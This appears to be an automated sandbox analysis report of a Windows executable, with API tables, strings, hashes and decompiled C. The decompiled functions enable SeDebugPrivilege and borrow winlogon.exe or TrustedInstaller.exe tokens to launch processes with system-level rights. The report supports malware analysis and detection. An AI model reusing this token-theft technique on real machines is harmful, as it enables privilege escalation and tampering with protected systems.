0x004022fa
0x004022fd
0x00402300
0x00402307
0x0040230d
0x0040230e
0x00402318
0x00402321
0x00402324
0x00402327
0x0040232a
0x0040232d
0x00402334
0x00402337
0x0040233e
0x0040234f
0x00402356
0x0040235b
0x0040235e
0x0040236d
0x00402374
0x0040237e
0x00402395
0x004023a0
0x004023a0
0x004023ac
0x004023cf
0x004023d2
0x004023d9
0x004023de
0x004023f6
0x00402403
0x00402414
0x00402419
0x00402403
0x0040241a
0x00402423
0x00402458
0x0040245d
0x00402464
0x00402467
0x00402468
0x00000000
0x00000000
0x00000000
0x00402425
0x00402428
0x0040242b
0x00402433
0x00402434
0x00402473
0x00402473
0x0040247c
0x00402481
0x00402488
0x00402488
0x00402495
0x0040249a
0x004024b7
0x004024be
0x004024cd
0x004024d1
0x004024ed
0x004024f0
0x00402506
0x0040250b
0x00402512
0x00402518
0x00402519
0x0040251e
0x00402524
0x00402527
0x0040252b
0x00402530
0x00402531
0x00402531
0x0040253d
0x0040255a
0x00402561
0x00402570
0x00402574
0x00402590
0x00402593
0x004025a9
0x004025ae
0x004025b5
0x004025bb
0x004025bc
0x004025c1
0x004025c7
0x004025ca
0x004025cd
0x004025ce
0x004025d4
0x004025d4
0x004025da
0x004025e3
0x004025eb
0x00402633
0x004025fb
0x00402608
0x0040260f
0x00402614
0x00402624
0x00402630
0x00402630
0x0040263a
0x0040263b
0x00402646
0x0040264b
0x0040264c
0x0040265a
0x0040265a
0x0040265d
0x00402666
0x00402668
0x00402668
0x00402672
0x00402675
0x0040267e
0x0040267e
0x00402683
0x0040268b
0x0040269e
0x0040269e
0x004026a3
0x004026ac
0x004026b5
0x004026b8
0x00000000
0x00000000
0x004026ba
0x00000000
0x004026ae
0x004026ae
0x004026bf
0x004026c1
0x004026c6
0x004026cc
0x004026d5
0x004026db
0x004026e4
0x004026ea
0x004026f3
0x004026f9
0x00402707
0x00402707
0x0040270d
0x00402710
0x0040276d
0x00402770
0x0040280b
0x0040280e
0x00402813
0x00402810
0x00402810
0x00402810
0x00402819
0x0040281f
0x00402836
0x00402841
0x00402846
0x0040284a
0x00402851
0x00402857
0x00402860
0x00402865
0x00402876
0x00402879
0x00402888
0x00402888
0x00402857
0x00402891
0x0040289c
0x0040289c
0x00402779
0x00402784
0x0040278d
0x004027a4
0x004027b3
0x004027b8
0x004027bb
0x004027bf
0x004027c6
0x004027c6
0x004027d1
0x004027d6
0x004027d9
0x004027db
0x004027e2
0x004027e4
0x004027e4
0x004027e7
0x004027f4
0x004027fc
0x00402801
0x00402801
0x00402803
0x00402803
0x00402806
0x00000000
0x00402806
0x00402715
0x00402729
0x0040272e
0x00402731
0x00402738
0x00402738
0x00402743
0x00402748
0x0040274d
0x00402754
0x00402756
0x00402756
0x00402759
0x00402763
0x00000000
0x00402763
0x004026fb
0x00402700
0x00402702
0x00000000
0x00402702
0x004026ec
0x00000000
0x004026ec
0x004026dd
0x00000000
0x004026dd
0x004026ce
0x00000000
0x004026ce
0x004026ac
0x00402443
0x0040246a
0x00402470
0x00000000
0x00402470

APIs

memset.MSVCRT ref: 00402300
memset.MSVCRT ref: 0040233E
memset.MSVCRT ref: 00402356

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

wcschr.MSVCRT ref: 00402387
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004023A0

Part of subcall function 00404B5C: wcscpy.MSVCRT ref: 00404B61
Part of subcall function 00404B5C: wcsrchr.MSVCRT ref: 00404B69

wcschr.MSVCRT ref: 004023B7
memset.MSVCRT ref: 004023D9
SearchPathW.KERNEL32(00000000,?,00000000,00000104,?,?,?,?,?,?,?,?,?,?,00000208), ref: 004023F6
wcschr.MSVCRT ref: 0040242B
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00402443
memset.MSVCRT ref: 004024BE
memset.MSVCRT ref: 004024D1
_wtoi.MSVCRT ref: 00402519
_wtoi.MSVCRT ref: 0040252B
memset.MSVCRT ref: 00402561
memset.MSVCRT ref: 00402574
_wtoi.MSVCRT ref: 004025BC
_wtoi.MSVCRT ref: 004025CE
wcschr.MSVCRT ref: 004025F0
memset.MSVCRT ref: 0040260F
ExpandEnvironmentStringsW.KERNEL32(?,?,00002000,?,?,?,?,?,?,?,?,00000208), ref: 00402624
_snwprintf.MSVCRT ref: 0040264C
SetEnvironmentVariableW.KERNEL32(__COMPAT_LAYER,00000000), ref: 00402819
GetProcessAffinityMask.KERNEL32(?,?,000000FF), ref: 00402879
SetProcessAffinityMask.KERNEL32(?,000000FF), ref: 00402888

Strings

__COMPAT_LAYER, xrefs: 00402814
256COLOR, xrefs: 004026AE
DISABLEDWM, xrefs: 004026EC
"%s" %s, xrefs: 0040263B
16BITCOLOR, xrefs: 004026BA
640X480, xrefs: 004026CE
D, xrefs: 00402374
RunAsInvoker, xrefs: 00402677
HIGHDPIAWARE, xrefs: 004026FB
DISABLETHEMES, xrefs: 004026DD

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Environment_wtoiwcschr$ExpandStrings$AffinityMaskProcess$PathSearchVariable_snwprintfmemcpywcscpywcslenwcsrchr
String ID: "%s" %s$16BITCOLOR$256COLOR$640X480$D$DISABLEDWM$DISABLETHEMES$HIGHDPIAWARE$RunAsInvoker$__COMPAT_LAYER
API String ID: 2452314994-435178042
Opcode ID: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction ID: b54a7db1e05dda42e7bfc3830e2036fe484084dd7c1f23c6c807eede0ded9d8d
Opcode Fuzzy Hash: 067d403336562cb18e4ef95dc35e81972e5343f3ed9e099bed5cf17b41ec62b0
Instruction Fuzzy Hash: 03F14F72900218AADB20EFA5CD85ADEB7B8EF04304F1045BBE619B71D1D7789A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408533, Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00408533(void* __ecx, void* __edx, void* __eflags, char _a8, intOrPtr _a12, char _a32, WCHAR* _a40, WCHAR* _a44, intOrPtr _a48, WCHAR* _a52, WCHAR* _a56, char _a60, int _a64, char* _a68, int _a72, char _a76, int _a80, char* _a84, int _a88, long _a92, void _a94, long _a620, void _a622, char _a1132, char _a1148, WCHAR* _a3196, WCHAR* _a3200, WCHAR* _a3204, WCHAR* _a3208, void* _a3212, char _a3216, int _a5264, int _a5268, int _a5272, int _a5276, int _a5280, char _a5288, char _a5292, int _a7340, int _a7344, int _a7348, int _a7352, int _a7356) {
				char _v0;
				WCHAR* _v4;
				void* __edi;
				void* __esi;
				void* _t76;
				void* _t82;
				wchar_t* _t85;
				void* _t86;
				void* _t87;
				intOrPtr _t92;
				wchar_t* _t93;
				intOrPtr _t95;
				int _t106;
				char* _t110;
				intOrPtr _t115;
				wchar_t* _t117;
				intOrPtr _t124;
				wchar_t* _t125;
				intOrPtr _t131;
				wchar_t* _t132;
				int _t156;
				void* _t159;
				intOrPtr _t162;
				void* _t177;
				void* _t178;
				void* _t179;
				intOrPtr _t181;
				int _t187;
				intOrPtr _t188;
				intOrPtr _t190;
				intOrPtr _t198;
				signed int _t205;
				signed int _t206;

				_t179 = __edx;
				_t158 = __ecx;
				_t206 = _t205 & 0xfffffff8;
				E0040B550(0x1ccc, __ecx);
				_t76 = E0040313D(_t158);
				if(_t76 != 0) {
					E0040AC52();
					SetErrorMode(0x8001); // executed
					_t156 = 0;
					 *0x40fa70 = 0x11223344;
					EnumResourceTypesW(GetModuleHandleW(0), E0040A3C1, 0); // executed
					_t82 = E00405497( &_a8);
					_a48 = 0x20;
					_a40 = 0;
					_a52 = 0;
					_a44 = 0;
					_a56 = 0;
					E004056B5(_t158, __eflags, _t82, _a12);
					E00408F48(_t158, __eflags, L"SeDebugPrivilege"); // executed
					 *_t206 = L"/SpecialRun";
					_t85 = E0040585C( &_v0);
					__eflags = _t85;
					if(_t85 != 0) {
						L8:
						_t86 = E0040585C( &_a8, L"/Run");
						__eflags = _t86 - _t156;
						if(_t86 < _t156) {
							_t87 = E0040585C( &_a8, L"/cfg");
							__eflags = _t87 - _t156;
							if(_t87 >= _t156) {
								_t162 =  *0x40fa74; // 0x4101c8
								_t41 = _t87 + 1; // 0x1
								ExpandEnvironmentStringsW(E0040584C( &_a8, _t41), _t162 + 0x5504, 0x104);
								_t115 =  *0x40fa74; // 0x4101c8
								_t117 = wcschr(_t115 + 0x5504, 0x5c);
								__eflags = _t117;
								if(_t117 == 0) {
									_a92 = _t156;
									memset( &_a94, _t156, 0x208);
									_a620 = _t156;
									memset( &_a622, _t156, 0x208);
									GetCurrentDirectoryW(0x104,  &_a92);
									_t124 =  *0x40fa74; // 0x4101c8
									_t125 = _t124 + 0x5504;
									_v4 = _t125;
									_t187 = wcslen(_t125);
									_t51 = wcslen( &_a92) + 1; // 0x1
									__eflags = _t187 + _t51 - 0x104;
									if(_t187 + _t51 >= 0x104) {
										_a620 = _t156;
									} else {
										E00404BE4( &_a620,  &_a92, _v4);
									}
									_t131 =  *0x40fa74; // 0x4101c8
									_t132 = _t131 + 0x5504;
									__eflags = _t132;
									wcscpy(_t132,  &_a620);
								}
							}
							E00402F31(_t156);
							_t181 =  *0x40fa74; // 0x4101c8
							_pop(_t159);
							_a84 =  &_a8;
							_a76 = 0x40cb0c;
							_a88 = _t156;
							_a80 = _t156;
							E0040177C( &_a76, _t181 + 0x10, __eflags, _t156);
							_t92 =  *0x40fa74; // 0x4101c8
							__eflags =  *((intOrPtr*)(_t92 + 0x5710)) - _t156;
							if( *((intOrPtr*)(_t92 + 0x5710)) == _t156) {
								_t93 = E0040585C( &_a8, L"/savelangfile");
								__eflags = _t93;
								if(_t93 < 0) {
									E00406420();
									__imp__CoInitialize(_t156);
									_t95 =  *0x40fa74; // 0x4101c8
									E00408910(_t95 + 0x10, _t159, 0x416f60);
									 *((intOrPtr*)( *0x4158e0 + 8))(_t156);
									_t198 =  *0x40fa74; // 0x4101c8
									E00408910(0x416f60, 0x4158e0, _t198 + 0x10);
									E00402F31(1);
									__imp__CoUninitialize();
								} else {
									E004065BE(_t159);
								}
								goto L7;
							} else {
								_t64 = _t92 + 0x10; // 0x4101d8
								_a7356 = _t156;
								_a7352 = _t156;
								_a7340 = _t156;
								_a7344 = _t156;
								_a7348 = _t156;
								_t156 = E00401D40(_t179, _t64,  &_a5292);
								_t110 =  &_a5288;
								L6:
								E004035FB(_t110);
								L7:
								E004054B9( &_v0);
								E004099D4( &_a32);
								E004054B9( &_v0);
								_t106 = _t156;
								goto L2;
							}
						}
						_t26 = _t86 + 1; // 0x1
						_t173 = _t26;
						__eflags =  *((intOrPtr*)(E0040584C( &_a8, _t26))) - _t156;
						if(__eflags == 0) {
							E00402F31(_t156);
						} else {
							E00402FC6(_t173, __eflags, _t138);
						}
						_t188 =  *0x40fa74; // 0x4101c8
						_a68 =  &_a8;
						_a60 = 0x40cb0c;
						_a72 = _t156;
						_a64 = _t156;
						E0040177C( &_a60, _t188 + 0x10, __eflags, _t156);
						_t190 =  *0x40fa74; // 0x4101c8
						_a5280 = _t156;
						_a5276 = _t156;
						_a5264 = _t156;
						_a5268 = _t156;
						_a5272 = _t156;
						_t156 = E00401D40(_t179, _t190 + 0x10,  &_a3216);
						_t110 =  &_a3212;
						goto L6;
					}
					__eflags = _a56 - 3;
					if(_a56 != 3) {
						goto L8;
					}
					__eflags = 1;
					_a3212 = 0;
					_a3208 = 0;
					_a3196 = 0;
					_a3200 = 0;
					_a3204 = 0;
					_v4 = 0;
					_v0 = 0;
					swscanf(E0040584C( &_v0, 1), L"%I64x",  &_v4);
					_t177 = 2;
					_push(E0040584C( &_v0, _t177));
					L0040B1F8();
					_pop(_t178);
					_t156 = E00401AC9(_t178, _t179, __eflags,  &_a1148, _v4, _v0, _t152);
					_t110 =  &_a1132;
					goto L6;
				} else {
					_t106 = _t76 + 1;
					L2:
					return _t106;
				}
			}

0x00408533
0x00408533
0x00408536
0x0040853e
0x00408546
0x0040854d
0x00408559
0x00408563
0x00408569
0x00408572
0x00408583
0x0040858d
0x00408595
0x0040859e
0x004085a2
0x004085a6
0x004085aa
0x004085ae
0x004085b8
0x004085c1
0x004085c8
0x004085cd
0x004085cf
0x0040867f
0x00408688
0x0040868d
0x0040868f
0x00408730
0x00408735
0x00408737
0x0040873d
0x00408750
0x0040875d
0x00408763
0x00408770
0x00408775
0x00408779
0x0040878b
0x00408790
0x004087a2
0x004087aa
0x004087b8
0x004087be
0x004087c3
0x004087c9
0x004087d2
0x004087df
0x004087e3
0x004087e6
0x00408801
0x004087e8
0x004087f8
0x004087fe
0x00408811
0x00408816
0x00408816
0x0040881c
0x00408822
0x00408779
0x00408824
0x00408829
0x00408833
0x00408834
0x00408840
0x00408848
0x0040884c
0x00408850
0x00408855
0x0040885a
0x00408860
0x004088ac
0x004088b1
0x004088b3
0x004088bf
0x004088c5
0x004088cb
0x004088da
0x004088ea
0x004088ed
0x004088f8
0x004088ff
0x00408905
0x004088b5
0x004088b5
0x004088b5
0x00000000
0x00408862
0x00408862
0x0040886d
0x00408874
0x0040887b
0x00408882
0x00408889
0x00408895
0x00408897
0x00408658
0x00408658
0x0040865d
0x00408661
0x0040866a
0x00408673
0x00408678
0x00000000
0x00408678
0x00408860
0x00408695
0x00408695
0x0040869f
0x004086a2
0x004086af
0x004086a4
0x004086a7
0x004086a7
0x004086b4
0x004086bf
0x004086cb
0x004086d3
0x004086d7
0x004086db
0x004086e0
0x004086f1
0x004086f8
0x004086ff
0x00408706
0x0040870d
0x00408719
0x0040871b
0x00000000
0x0040871b
0x004085d5
0x004085da
0x00000000
0x00000000
0x004085ec
0x004085ef
0x004085f6
0x004085fd
0x00408604
0x0040860b
0x00408612
0x00408616
0x00408620
0x0040862a
0x00408632
0x00408633
0x00408638
0x0040864f
0x00408651
0x00000000
0x0040854f
0x0040854f
0x00408550
0x00408556
0x00408556

APIs

Part of subcall function 0040313D: LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
Part of subcall function 0040313D: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
Part of subcall function 0040313D: FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
Part of subcall function 0040313D: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

SetErrorMode.KERNELBASE(00008001,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00408563
GetModuleHandleW.KERNEL32(00000000,0040A3C1,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040857C
EnumResourceTypesW.KERNEL32 ref: 00408583
swscanf.MSVCRT ref: 00408620
_wtoi.MSVCRT ref: 00408633

Strings

/Run, xrefs: 0040867F
/cfg, xrefs: 00408727
%I64x, xrefs: 004085E7
, xrefs: 00408595
SeDebugPrivilege, xrefs: 004085B3
`oA, xrefs: 004088D0
XA, xrefs: 004088E5
/savelangfile, xrefs: 004088A3

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes_wtoiswscanf
String ID: $%I64x$/Run$/cfg$/savelangfile$SeDebugPrivilege$`oA$XA
API String ID: 3933224404-3784219877
Opcode ID: 1ed12eb10884b9e827e0875f5387ef1e7972f3b4abe7ba30fea96de0eb1c323a
Instruction ID: 6a1ad454fb11d14b300c4ed281ce3bcdfe782ea4983c0409628bf6e0aeb57f2c
Opcode Fuzzy Hash: 1ed12eb10884b9e827e0875f5387ef1e7972f3b4abe7ba30fea96de0eb1c323a
Instruction Fuzzy Hash: 7FA16F71508340DBD720EF65DD8599BB7E8FB88308F50493FF588A3292DB3899098F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401FE6, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 243
processCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00401FE6(void* __eax, void* __ecx, void* __edx, WCHAR* _a4, WCHAR* _a8, long _a12, void* _a16, WCHAR* _a20, struct _STARTUPINFOW* _a24, struct _PROCESS_INFORMATION* _a28) {
				int _v8;
				long _v12;
				wchar_t* _v16;
				void _v546;
				long _v548;
				void _v1074;
				char _v1076;
				void* __esi;
				long _t84;
				int _t87;
				wchar_t* _t88;
				int _t92;
				void* _t93;
				int _t94;
				int _t96;
				int _t99;
				int _t104;
				long _t105;
				int _t110;
				void** _t112;
				int _t113;
				intOrPtr _t131;
				wchar_t* _t132;
				int* _t148;
				wchar_t* _t149;
				int _t151;
				void* _t152;
				void* _t153;
				int _t154;
				void* _t155;
				long _t160;

				_t145 = __edx;
				_t152 = __ecx;
				_t131 =  *((intOrPtr*)(__eax + 0x44a8));
				_v12 = 0;
				if(_t131 != 4) {
					__eflags = _t131 - 5;
					if(_t131 != 5) {
						__eflags = _t131 - 9;
						if(__eflags != 0) {
							__eflags = _t131 - 8;
							if(_t131 != 8) {
								__eflags = _t131 - 6;
								if(_t131 != 6) {
									__eflags = _t131 - 7;
									if(_t131 != 7) {
										__eflags = CreateProcessW(_a4, _a8, 0, 0, 0, _a12, _a16, _a20, _a24, _a28);
									} else {
										_t132 = __eax + 0x46b6;
										_t148 = __eax + 0x48b6;
										__eflags =  *_t148;
										_v16 = _t132;
										_v8 = __eax + 0x4ab6;
										if( *_t148 == 0) {
											_t88 = wcschr(_t132, 0x40);
											__eflags = _t88;
											if(_t88 != 0) {
												_t148 = 0;
												__eflags = 0;
											}
										}
										_t153 = _t152 + 0x800;
										E0040289F(_t153);
										_t154 =  *(_t153 + 0xc);
										__eflags = _t154;
										if(_t154 == 0) {
											_t87 = 0;
											__eflags = 0;
										} else {
											_t87 =  *_t154(_v16, _t148, _v8, 1, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
										}
										__eflags = _t87;
									}
									if(__eflags == 0) {
										_t84 = GetLastError();
										L43:
										_v12 = _t84;
									}
									goto L44;
								}
								__eflags = E00401D99(__eax + 0x44ac, __edx);
								if(__eflags == 0) {
									goto L44;
								}
								_t92 = E0040A46C(_t131, __eflags,  &_a28, _t90, _a4, _a8, _a12, _a20, _a24, _a28);
								__eflags = _t92;
								if(_t92 != 0) {
									goto L44;
								}
								_t84 = _a28;
								goto L43;
							}
							_t93 = OpenSCManagerW(0, L"ServicesActive", 0x35); // executed
							__eflags = _t93;
							if(_t93 != 0) {
								E00401306(_t93); // executed
							}
							_v8 = 0;
							_t94 = E00401F04(_t145, _t152); // executed
							__eflags = _t94;
							_v12 = _t94;
							if(__eflags == 0) {
								_t96 = E00401DF9(_t145, __eflags, _t152, L"TrustedInstaller.exe",  &_v8); // executed
								__eflags = _t96;
								_v12 = _t96;
								if(_t96 == 0) {
									_t99 = E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
									__eflags = _t99;
									if(_t99 == 0) {
										_v12 = GetLastError();
									}
									CloseHandle(_v8); // executed
								}
								RevertToSelf(); // executed
							}
							goto L44;
						}
						_t104 = E0040598B(__edx, __eflags, __eax + 0x46b6);
						__eflags = _t104;
						if(_t104 == 0) {
							goto L44;
						}
						_v8 = 0;
						_t105 = E00401E44(_t152, _t104,  &_v8);
						goto L14;
					}
					_t149 = __eax + 0x44ac;
					_t110 = wcslen(_t149);
					__eflags = _t110;
					if(_t110 <= 0) {
						goto L44;
					} else {
						_v8 = 0;
						__eflags = E00404EA9(_t149, _t110);
						_t112 =  &_v8;
						_push(_t112);
						_push(_t149);
						if(__eflags == 0) {
							_push(_t152);
							_t113 = E00401DF9(_t145, __eflags);
						} else {
							L0040B1F8();
							_push(_t112);
							_push(_t152);
							_t113 = E00401E44();
						}
						_v12 = _t113;
						__eflags = _t113;
						goto L15;
					}
				} else {
					_v548 = 0;
					memset( &_v546, 0, 0x208);
					_v1076 = 0;
					memset( &_v1074, 0, 0x208);
					E00404C3C( &_v548);
					 *((intOrPtr*)(_t155 + 0x18)) = L"winlogon.exe";
					_t151 = wcslen(??);
					_t10 = wcslen( &_v548) + 1; // 0x1
					_t159 = _t151 + _t10 - 0x104;
					if(_t151 + _t10 >= 0x104) {
						_v1076 = 0;
					} else {
						E00404BE4( &_v1076,  &_v548, L"winlogon.exe");
					}
					_v8 = 0;
					_t105 = E00401DF9(_t145, _t159, _t152,  &_v1076,  &_v8);
					L14:
					_t160 = _t105;
					_v12 = _t105;
					L15:
					if(_t160 == 0) {
						if(E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28) == 0) {
							_v12 = GetLastError();
						}
						CloseHandle(_v8);
					}
					L44:
					return _v12;
				}
			}

0x00401fe6
0x00401ff1
0x00401ff3
0x00401fff
0x00402002
0x004020a8
0x004020ab
0x004020f3
0x004020f6
0x00402162
0x00402165
0x004021f2
0x004021f5
0x00402235
0x00402238
0x004022be
0x0040223a
0x0040223a
0x00402240
0x0040224b
0x0040224e
0x00402251
0x00402254
0x00402259
0x0040225e
0x00402262
0x00402264
0x00402264
0x00402264
0x00402262
0x00402266
0x0040226c
0x00402271
0x00402274
0x00402276
0x0040229a
0x0040229a
0x00402278
0x00402296
0x00402296
0x0040229c
0x0040229c
0x004022c0
0x004022c2
0x004022c8
0x004022c8
0x004022c8
0x00000000
0x004022c0
0x00402201
0x00402203
0x00000000
0x00000000
0x00402220
0x00402225
0x00402227
0x00000000
0x00000000
0x0040222d
0x00000000
0x0040222d
0x00402173
0x00402179
0x0040217b
0x0040217e
0x00402183
0x00402185
0x00402188
0x0040218d
0x0040218f
0x00402192
0x004021a2
0x004021a7
0x004021a9
0x004021ac
0x004021cc
0x004021d1
0x004021d3
0x004021db
0x004021db
0x004021e1
0x004021e1
0x004021e7
0x004021e7
0x00000000
0x00402192
0x004020fe
0x00402103
0x00402105
0x00000000
0x00000000
0x00402111
0x00402114
0x00000000
0x00402114
0x004020ad
0x004020b4
0x004020b9
0x004020bc
0x00000000
0x004020c2
0x004020c4
0x004020ce
0x004020d0
0x004020d3
0x004020d4
0x004020d5
0x004020e6
0x004020e7
0x004020d7
0x004020d7
0x004020dd
0x004020de
0x004020df
0x004020df
0x004020ec
0x004020ef
0x00000000
0x004020ef
0x00402008
0x00402016
0x0040201d
0x0040202e
0x00402035
0x00402044
0x00402049
0x00402055
0x00402064
0x00402068
0x0040206e
0x0040208b
0x00402070
0x00402082
0x00402088
0x0040209e
0x004020a1
0x00402119
0x00402119
0x0040211b
0x0040211e
0x0040211e
0x00402149
0x00402151
0x00402151
0x00402157
0x00402157
0x004022cb
0x004022d2
0x004022d2

APIs

memset.MSVCRT ref: 0040201D
memset.MSVCRT ref: 00402035

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00402050
wcslen.MSVCRT ref: 0040205F
wcslen.MSVCRT ref: 004020B4
_wtoi.MSVCRT ref: 004020D7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 0040214B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 00402157
OpenSCManagerW.SECHOST(00000000,ServicesActive,00000035,?,?,00000000), ref: 00402173
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021D5
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021E1
RevertToSelf.KERNELBASE(?,TrustedInstaller.exe,?,?), ref: 004021E7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Part of subcall function 0040598B: memset.MSVCRT ref: 004059B5
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 004059FA
Part of subcall function 0040598B: wcschr.MSVCRT ref: 00405A0E
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 00405A20
Part of subcall function 0040598B: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
Part of subcall function 0040598B: OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
Part of subcall function 0040598B: CloseHandle.KERNEL32(?), ref: 00405A5A
Part of subcall function 0040598B: CloseHandle.KERNEL32(00000000), ref: 00405A61

Part of subcall function 00401E44: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

wcschr.MSVCRT ref: 00402259
CreateProcessW.KERNEL32 ref: 004022B8
GetLastError.KERNEL32(?,?,00000000), ref: 004022C2

Strings

winlogon.exe, xrefs: 00402049, 00402076
ServicesActive, xrefs: 0040216D
TrustedInstaller.exe, xrefs: 0040219C

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$OpenProcess$ErrorLastmemsetwcslen$_wcsicmpwcschrwcscpy$CreateDirectoryManagerRevertSelfSystemToken_wtoiwcscat
String ID: ServicesActive$TrustedInstaller.exe$winlogon.exe
API String ID: 3201562063-2355939583
Opcode ID: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction ID: ccbcfbde9fdc9ff515b0a1e4c69409fc0ea490cdea51ab3e51e2115b03466e24
Opcode Fuzzy Hash: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction Fuzzy Hash: 02813A76800209EACF11AFE0CD899AE7BA9FF08308F10457AFA05B21D1D7798A549B59

Uniqueness

Uniqueness Score: -1.00%

Function 00409921, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409921(struct HINSTANCE__** __esi) {
				void* _t6;
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t12;
				CHAR* _t13;
				intOrPtr* _t17;

				if( *__esi == 0) {
					_t7 = E00405436(L"psapi.dll"); // executed
					 *_t17 = "GetModuleBaseNameW";
					 *__esi = _t7;
					__esi[1] = GetProcAddress(_t7, _t13);
					__esi[2] = GetProcAddress( *__esi, "EnumProcessModules");
					__esi[4] = GetProcAddress( *__esi, "GetModuleFileNameExW");
					__esi[5] = GetProcAddress( *__esi, "EnumProcesses");
					_t12 = GetProcAddress( *__esi, "GetModuleInformation");
					__esi[3] = _t12;
					return _t12;
				}
				return _t6;
			}

0x00409924
0x0040992c
0x00409937
0x0040993f
0x0040994a
0x00409956
0x00409962
0x0040996e
0x00409971
0x00409973
0x00000000
0x00409976
0x00409977

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

Strings

EnumProcesses, xrefs: 0040995B
GetModuleInformation, xrefs: 00409967
GetModuleBaseNameW, xrefs: 00409937
psapi.dll, xrefs: 00409927
GetModuleFileNameExW, xrefs: 0040994F
EnumProcessModules, xrefs: 00409943

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad$memsetwcscat
